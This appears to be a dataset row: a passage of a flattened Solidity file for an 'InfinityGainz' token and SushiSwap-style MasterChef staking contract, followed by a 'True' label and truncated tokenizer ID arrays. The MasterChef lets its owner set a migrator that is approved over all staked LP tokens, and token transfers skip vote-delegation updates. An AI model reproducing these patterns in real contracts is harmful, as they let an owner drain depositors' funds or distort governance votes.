function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/InfinityGainzToken.sol
pragma solidity 0.6.12;
// InfinityGainzToken with Governance.
contract InfinityGainzToken is ERC20("InfinityGainz.Cash", "IGC"), Ownable {
uint8 public feerate = 2;
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
uint256 feeAmount = amount.div(100).mul(feerate);
_burn(msg.sender, feeAmount);
return super.transfer(recipient, amount.sub(feeAmount));
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
uint256 feeAmount = amount.div(100).mul(feerate);
_burn(sender, feeAmount);
return super.transferFrom(sender, recipient, amount.sub(feeAmount));
}
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (Only MasterChef can distribute).
function distribute(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegator The address to get delegatee for
*/
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(
address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s
)
external
{
bytes32 domainSeparator = keccak256(
abi.encode(
DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)
)
);
bytes32 structHash = keccak256(
abi.encode(
DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry
)
);
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
domainSeparator,
structHash
)
);
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "IGC::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "IGC::delegateBySig: invalid nonce");
require(now <= expiry, "IGC::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "IGC::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying IGCs (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(
address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes
)
internal
{
uint32 blockNumber = safe32(block.number, "IGC::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
// File: contracts/MasterChef.sol
pragma solidity 0.6.12;
interface IMigratorChef {
// Perform LP token migration from legacy UniswapV2 to InfinityGainzSwap.
// Take the current LP token address and return the new LP token address.
// Migrator should have full access to the caller's LP token.
// Return the new LP token address.
//
// XXX Migrator must have allowance access to UniswapV2 LP tokens.
// InfinityGainzSwap must mint EXACTLY the same amount of InfinityGainzSwap LP tokens or
// else something bad will happen. Traditional UniswapV2 does not
// do that so be careful!
function migrate(IERC20 token) external returns (IERC20);
}
// MasterChef is the master of InfinityGainz. He can make InfinityGainz and he is a fair guy.
//
// Note that it's ownable and the owner wields tremendous power. The ownership
// will be transferred to a governance smart contract once IGC is sufficiently
// distributed and the community can show to govern itself.
//
// Have fun reading it. Hopefully it's bug-free. God bless.
contract MasterChef is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
//
// We do some fancy math here. Basically, any point in time, the amount of IGCs
// entitled to a user but is pending to be distributed is:
//
// pending reward = (user.amount * pool.accInfinityGainzPerShare) - user.rewardDebt
//
// Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:
// 1. The pool's `accInfinityGainzPerShare` (and `lastRewardBlock`) gets updated.
// 2. User receives the pending reward sent to his/her address.
// 3. User's `amount` gets updated.
// 4. User's `rewardDebt` gets updated.
}
// Info of each pool.
struct PoolInfo {
IERC20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. IGCs to distribute per block.
uint256 lastRewardBlock; // Last block number that IGCs distribution occurs.
uint256 accInfinityGainzPerShare; // Accumulated IGCs per share, times 1e12. See below.
}
// The IGC TOKEN!
InfinityGainzToken public infinitygainz;
// Dev address.
address public devaddr;
// Fund address.
address public fundaddr;
// Block number when bonus IGC period ends.
uint256 public bonusEndBlock;
// IGC tokens created per block.
uint256 public infinitygainzPerBlock;
// Bonus muliplier for early infinitygainz makers.
uint256 public constant BONUS_MULTIPLIER = 2;
// The migrator contract. It has a lot of power. Can only be set through governance (owner).
IMigratorChef public migrator;
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping (uint256 => mapping (address => UserInfo)) public userInfo;
// Total allocation poitns. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
// The block number when IGC mining starts.
uint256 public startBlock;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
constructor(
InfinityGainzToken _infinitygainz,
address _devaddr,
address _fundaddr,
uint256 _startBlock,
uint256 _bonusEndBlock
) public {
infinitygainz = _infinitygainz;
devaddr = _devaddr;
fundaddr = _fundaddr;
infinitygainzPerBlock = 500000000000000000; // 0.5 InfinityGainz/Block
bonusEndBlock = _bonusEndBlock;
startBlock = _startBlock;
}
function changeReward(uint256 _infinitygainzPerBlock) public onlyOwner {
// Only changeable to lower than current reward.
require(_infinitygainzPerBlock < infinitygainzPerBlock, "Only changeable to lower than current reward.");
infinitygainzPerBlock = _infinitygainzPerBlock;
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
// Add a new lp to the pool. Can only be called by the owner.
// XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do.
function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolInfo.push(PoolInfo({
lpToken: _lpToken,
allocPoint: _allocPoint,
lastRewardBlock: lastRewardBlock,
accInfinityGainzPerShare: 0
}));
}
// Update the given pool's IGC allocation point. Can only be called by the owner.
function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint);
poolInfo[_pid].allocPoint = _allocPoint;
}
// Set the migrator contract. Can only be called by the owner.
function setMigrator(IMigratorChef _migrator) public onlyOwner {
migrator = _migrator;
}
// Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good.
function migrate(uint256 _pid) public {
require(address(migrator) != address(0), "migrate: no migrator");
PoolInfo storage pool = poolInfo[_pid];
IERC20 lpToken = pool.lpToken;
uint256 bal = lpToken.balanceOf(address(this));
lpToken.safeApprove(address(migrator), bal);
IERC20 newLpToken = migrator.migrate(lpToken);
require(bal == newLpToken.balanceOf(address(this)), "migrate: bad");
pool.lpToken = newLpToken;
}
// Return reward multiplier over the given _from to _to block.
function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) {
if (_to <= bonusEndBlock) {
return _to.sub(_from).mul(BONUS_MULTIPLIER);
} else if (_from >= bonusEndBlock) {
return _to.sub(_from);
} else {
return bonusEndBlock.sub(_from).mul(BONUS_MULTIPLIER).add(
_to.sub(bonusEndBlock)
);
}
}
// View function to see pending IGCs on frontend.
function pendingInfinityGainz(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accInfinityGainzPerShare = pool.accInfinityGainzPerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 infinitygainzReward = multiplier.mul(infinitygainzPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
accInfinityGainzPerShare = accInfinityGainzPerShare.add(infinitygainzReward.mul(1e12).div(lpSupply));
}
return user.amount.mul(accInfinityGainzPerShare).div(1e12).sub(user.rewardDebt);
}
// Update reward variables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 infinitygainzReward = multiplier.mul(infinitygainzPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
infinitygainz.distribute(devaddr, infinitygainzReward.div(20));
infinitygainz.distribute(address(this), infinitygainzReward);
infinitygainz.distribute(fundaddr, infinitygainzReward.div(20));
pool.accInfinityGainzPerShare = pool.accInfinityGainzPerShare.add(infinitygainzReward.mul(1e12).div(lpSupply));
pool.lastRewardBlock = block.number;
}
// Deposit LP tokens to MasterChef for IGC allocation.
function deposit(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accInfinityGainzPerShare).div(1e12).sub(user.rewardDebt);
if(pending > 0) {
safeInfinityGainzTransfer(msg.sender, pending);
}
}
if(_amount > 0) {
pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount);
}
user.rewardDebt = user.amount.mul(pool.accInfinityGainzPerShare).div(1e12);
emit Deposit(msg.sender, _pid, _amount);
}
// Withdraw LP tokens from MasterChef.
function withdraw(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 pending = user.amount.mul(pool.accInfinityGainzPerShare).div(1e12).sub(user.rewardDebt);
if(pending > 0) {
safeInfinityGainzTransfer(msg.sender, pending);
}
if(_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.lpToken.safeTransfer(address(msg.sender), _amount);
}
user.rewardDebt = user.amount.mul(pool.accInfinityGainzPerShare).div(1e12);
emit Withdraw(msg.sender, _pid, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
pool.lpToken.safeTransfer(address(msg.sender), user.amount);
emit EmergencyWithdraw(msg.sender, _pid, user.amount);
user.amount = 0;
user.rewardDebt = 0;
}
// Safe infinitygainz transfer function, just in case if rounding error causes pool to not have enough IGCs.
function safeInfinityGainzTransfer(address _to, uint256 _amount) internal {
uint256 infinitygainzBal = infinitygainz.balanceOf(address(this));
if (_amount > infinitygainzBal) {
infinitygainz.transfer(_to, infinitygainzBal);
} else {
infinitygainz.transfer(_to, _amount);
}
}
// Update dev address by the previous dev.
function dev(address _devaddr) public {
require(msg.sender == devaddr, "dev: wut?");
devaddr = _devaddr;
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
12609,
1011,
5641,
1011,
2385,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
1013,
1013,
5371,
1024,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
19204,
1013,
9413,
2278,
11387,
1013,
29464,
11890,
11387,
1012,
14017,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
11387,
3115,
2004,
4225,
1999,
1996,
1041,
11514,
1012,
1008,
1013,
8278,
29464,
11890,
11387,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
1999,
4598,
1012,
1008,
1013,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
3079,
2011,
1036,
4070,
1036,
1012,
1008,
1013,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1996,
20587,
1005,
1055,
4070,
2000,
1036,
7799,
1036,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
12495,
3215,
1037,
1063,
4651,
1065,
2724,
1012,
1008,
1013,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3588,
2193,
1997,
19204,
2015,
2008,
1036,
5247,
2121,
1036,
2097,
2022,
1008,
3039,
2000,
5247,
2006,
6852,
1997,
1036,
3954,
1036,
2083,
1063,
4651,
19699,
5358,
1065,
1012,
2023,
2003,
1008,
5717,
2011,
12398,
1012,
1008,
1008,
2023,
3643,
3431,
2043,
1063,
14300,
1065,
2030,
1063,
4651,
19699,
5358,
1065,
2024,
2170,
1012,
1008,
1013,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
4520,
1036,
3815,
1036,
2004,
1996,
21447,
1997,
1036,
5247,
2121,
1036,
2058,
1996,
20587,
1005,
1055,
19204,
2015,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
2590,
1024,
2022,
8059,
2008,
5278,
2019,
21447,
2007,
2023,
4118,
7545,
1996,
3891,
1008,
2008,
2619,
2089,
2224,
2119,
1996,
2214,
1998,
1996,
2047,
21447,
2011,
15140,
1008,
12598,
13063,
1012,
2028,
2825,
5576,
2000,
10210,
28731,
2023,
2679,
1008,
4650,
2003,
2000,
2034,
5547,
1996,
5247,
2121,
1005,
1055,
21447,
2000,
1014,
1998,
2275,
1996,
1008,
9059,
3643,
5728,
1024,
1008,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
1041,
11514,
2015,
1013,
3314,
1013,
2322,
1001,
3277,
9006,
3672,
1011,
25246,
25746,
22610,
24594,
1008,
1008,
12495,
3215,
2019,
1063,
6226,
1065,
2724,
1012,
1008,
1013,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1036,
4604,
2121,
1036,
2000,
1036,
7799,
1036,
2478,
1996,
1008,
21447,
7337,
1012,
1036,
3815,
1036,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
